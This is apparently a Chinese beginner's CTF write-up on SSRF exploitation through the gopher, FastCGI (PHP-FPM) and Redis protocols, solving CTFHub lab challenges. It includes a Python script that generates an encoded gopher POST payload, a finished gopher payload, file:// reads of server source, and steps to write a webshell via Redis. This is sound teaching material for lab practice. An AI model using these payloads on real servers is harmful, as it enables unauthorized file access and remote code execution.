1. 程式人生 > 其它 >SSRF中的三個協議

SSRF中的三個協議

gopher協議

什麼是gopher協議呢?

Gopher是Internet上一個非常有名的資訊查詢系統。在WWW出現之前,Gopher是Internet上最主要的資訊檢索工具。但在www出現後,Gopher就沒落了。
gopher協議支援發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協議的請求。gopher協議是ssrf利用中最強大的協議

這個協議在各個語言的限制

 gopher協議的格式:

URL:gopher://<host>:<port>/<gopher-path>_後接TCP資料流

gopher協議預設的是tcp70埠。

ip後第一個字元在gopher不解析,所以用_來佔位。

如果傳送post請求,需要兩次編碼,第一次編碼後將回車換行的%0A替換為%0D%0A,替換後再進行編碼。如果有多個引數,則引數之間的&也進行url編碼。

練習題目:ctfhub中的POST

我們使用file協議來讀取index.php檔案的原始碼。index.php在當前目錄下

url=file:///var/www/html/index.php

能夠檢視到原始碼

<?php
error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();   //初始化一次curl對話,ch返回curl控制代碼
//curl_setopt為 cURL 會話控制代碼設定選項。 
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);    //curlopt_url需要獲取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0);   //啟用時會將標頭檔案的資訊作為資料流輸出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   // 位掩碼, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 設定 CURLOPT_FOLLOWLOCATION 時,什麼情況下需要再次 HTTP POST 到重定向網址。  
curl_exec($ch);  //執行
curl_close($ch);

curl_exec()函式可執行我們輸入的引數。

我們用file協議讀取flag.php,檢視到flag.php的原始碼

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo
$flag; exit; } ?>

上面程式碼要求我們只能在本地訪問,那我們就訪問127.0.0.1/flag.php。檢視原始碼可以看見key。

 則我們需要將key值post傳參。因為上面程式碼要求在127.0.0.1中post傳參key值,所以我們不能直接post傳,需要搭配gopher協議傳key。

我們構造一個post包,改host為127.0.0.1,並直接訪問flag.php。

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=050a8579908e458e32497b1e96b08a28

對這個post資料包進行url編碼。

手動複製替換太麻煩,直接白嫖大佬指令碼,不得不說,真香~

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=f0535a8b684c730542e243507c5246d9
""" tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result)

得出結果後還需要再url編碼一次。

最終payload:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=f0535a8b684c730542e243507c5246d9%250d%250a

抓包打入,得出flag。

 上述指令碼會把'/'和':'等字元也進行url編碼。注意自己構造的post資料包的Content-Length的長度。

FastCGI協議

 先說說什麼是cgi。

全稱"通用閘道器介面",它主要用於http伺服器與其他機器上的應用程式之間通訊的工具,因為http伺服器只能解析靜態請求和靜態程式。當遇到動態程式需要交給解析器來解析,cgi協議就是http伺服器與解析器間的介面。

再來說說cgi的缺點(也是與fastcgi的差異)

傳統cgi介面方式主要缺點是效能較差,每次http伺服器遇到動態程式時都需要重啟解析器來執行解析。然後把結果返回給伺服器,但這種方式不能處理高併發訪問。所以就誕生了fsatcgi協議

什麼是fastcgi協議

fastcgi是一個可伸縮的高速的http伺服器與動態指令碼語言間通訊的介面。主要優點就是把動態語言與http伺服器分開。當http伺服器每次遇到動態程式時,可以將該程式直接交付給fastcgi程序執行。然後得到的結果直接返回給客戶端。這種方式可以讓http伺服器專一的處理靜態請求,或者只是將動態請求處理結果返回給遊覽器,這很大程度上減少了http伺服器的工作量,提高了效能。

說到這裡,可能還是不太理解,接下來說說工作原理。

遊覽器訪問靜態頁面過程中:中介軟體會查詢改網站的目錄檔案,併發送給遊覽器。

 遊覽器訪問動態頁面時:由於中介軟體不能處理動態請求,它只能先把請求做一些簡單處理,然後把它交給相應解析器。

 那麼上圖中的FPM又是什麼呢

它是FastCGI程序管理器,說白了就是fastcgi解析器。用於替換php fastcgi大部分附加功能,對於高負載網站是非常有效的。並且提供了程序管理的功能。

攻擊原理

舉個例子,當我們訪問http://127.0.0.1/index.php?a=1&b=2,當前web目錄是var/www/html,那麼Nginx會把這個請求處理為key-value鍵值對。

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

並把它傳給php-FPM進行處理。這個陣列其實就是PHP中$_SERVER陣列的一部分,也就是PHP裡的環境變數。但環境變數的作用不僅是填充$_SERVER陣列,也是告訴fpm:“我要執行哪個PHP檔案”。就比如這個,FPM就知道要訪問index.php這個檔案了。

PHP-FPM非授權訪問漏洞

php-fpm預設監聽9000埠。如果這個埠暴露在公網上,則我們可以構造fastcgi協議與fpm進行通訊。比如我們可以改SCRIPT-FILENAME為etc/passwd等。可以達到任意檔案執行的效果。但是在PHP5.3.9之後,FPM預設配置中增加了security.limit_extensions選項,他會限定一些字尾的檔案的訪問,它預設是php字尾的檔案。

我們還可以任意程式碼執行

想利用PHP-FPM的未授權訪問漏洞,首先就得找到一個已存在的PHP檔案。php.ini有兩個配置,auto_prepend_fileauto_append_file

  • auto_prepend_file是告訴PHP,在執行目標檔案之前,先包含auto_prepend_file中指定的檔案
  • auto_append_file是告訴PHP,在執行完成目標檔案後,包含auto_append_file指向的檔案

我們可以設定auto_prepend_file為php://input,(還需要開啟遠端檔案包含allow_url_include=on)在執行任意php檔案時都要包含一遍post傳入的內容。我們把待執行的命令放在fastcgi協議中的body部分就可以執行任意命令了。

參考連結:https://blog.csdn.net/unexpectedthing/article/details/121643002

參考連結:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

練個題目(ctfhub中的ssrf)

在這裡就用gopherus工具來打一下,這種最方便。

用kali開啟該工具(kali中沒有該工具的,先在本地下載,然後拖進kali中)

進入到gopherus資料夾輸入命令。

 選擇一個指定的php檔案,上面有講。然後執行ls /檢視根目錄檔案。得到的gopher資料進行url編碼一次,(附上編碼網站:https://www.iamwawa.cn/urldecode.html)

得到一個flag檔案。

 再使用相同的操作將flag檔案讀取出來。

 最終得出flag。

 Redis協議

 redis是什麼?

全稱遠端字典服務。它是一個基於記憶體實現的鍵值型非關係(NoSQL)資料庫。

Redis 預設情況下,會繫結在 ip地址:6379。如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設定密碼認證(一般為空),會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。

因為是初學,在此就利用簡單介紹gopherus工具打redis。(主要就會這一種)

利用ctfhub上的題目

還是一樣,利用gopherus工具來生成gopher協議。

先寫一個shell.php名,然後指定web目錄。最後寫入shell

 生成的gopher協議再url編碼一次。打了會出現502超時。不過不要緊,我們訪問一下web目錄下的shell.php。

 因為我們傳了一句話木馬,所以我們用蟻劍連線。在根目錄找到flag。

 相關連結:https://blog.csdn.net/unexpectedthing/article/details/121667613

                   https://www.cnblogs.com/linuxsec/articles/11221756.html

結語

因為是初學,這三個協議瞭解的非常淺。ssrf漏洞是比較綜合的漏洞,想要深入瞭解還需要費些時間。最近在應對考試,沒有過多時間投入。之後深入學習後再通過例題進行總結。